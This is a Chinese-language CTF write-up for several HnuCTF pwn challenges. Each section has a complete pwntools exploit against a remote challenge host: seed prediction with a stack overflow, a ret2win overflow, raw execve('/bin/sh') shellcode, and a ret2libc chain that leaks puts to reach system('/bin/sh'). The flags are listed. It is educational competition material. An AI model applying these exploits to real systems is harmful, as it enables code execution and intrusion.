pwn_write_up

netcat

直接nc即可,无需多言

alt text

random

alt text

第一个read()向buf中读入80个字节,只能覆盖掉原来的rbp,不能劫持返回地址

v3为随机生成数,从键盘键入v1的值与v3比较,相等即可返回到gets(),劫持返回地址到win()中的片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


from pwn import *

from ctypes import *

context(os='linux',arch='amd64',log_level='debug')

\#p=process('./pwn1')

p=remote('boom.01130328.xyz',32942)

libc=cdll.LoadLibrary('libc.so.6')

win=0x4012f2



name=b'a'

p.sendlineafter("name!",name)



seed=libc.time(0)

libc.srand(seed)

num = str(libc.rand() % 1000)



p.sendlineafter("number:",num)

print(num)



payload=b'a'*(80+8)+p64(win)

p.sendlineafter("payload:",payload)

p.interactive()

alt text

HnuCTF{f779f040-be1e-4892-9714-f01833800177}

fmt

alt text

利用gets()栈溢出,返回到backdoor()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

from pwn import*

context(os='linux',arch='amd64',log_level='debug')

\#p=process('./pwn2')

p=remote('boom.01130328.xyz',39639)

backdoor=0x4011dc



payload=b'a'*(256+8)+p64(backdoor)



p.recvuntil("name:")

p.sendline(payload)

p.interactive()

alt text

HnuCTF{1a86ab26-9617-4bed-8c32-02f5d942c671}

shellcode

alt text

利用read()可向code读入24字节的内容,构造shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21



from pwn import*

context(os='linux',arch='amd64',log_level='debug')

\#p=process('./pwn4')

p=remote('boom.01130328.xyz',34656)

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"



p.recvuntil("code:")

p.sendline(shellcode)

p.interactive()

alt text

HnuCTF{440d03ae-432f-4412-8ef5-9c44888bbb6e}

ret2libc

alt text

无system()和binsh字符串

利用puts()泄露libc基址,找到合适的libc版本,计算偏移量

计算system()和binsh的真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61



from pwn import *

from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')

\#p=process('./pwn5')

p=remote('boom.01130328.xyz',37464)

elf=ELF('./pwn5')

main_addr=elf.sym['main']

puts_plt=elf.plt['puts']

puts_got=elf.got['puts']

rdi=0x40117e

ret=0x40101a



payload=b'a'*(16+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

p.recvuntil("you?")

p.sendline(payload)

p.recvuntil(b'Bye!')

p.recvuntil(b'\x0a')

puts_addr=u64(p.recvuntil(b'\x7b')[-6:].ljust(8,b'\x00'))

print(hex(puts_addr))



libc=LibcSearcher('puts',puts_addr)

offset=puts_addr-libc.dump('puts')

sys_addr=offset+libc.dump('system')

binsh_addr=offset+libc.dump('str_bin_sh')



payload1=b'a'*(16+8)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(sys_addr)

p.sendline(payload1)



p.interactive()

alt text

HnuCTF{81defcde-d44f-4fa2-8581-7d665de4d409}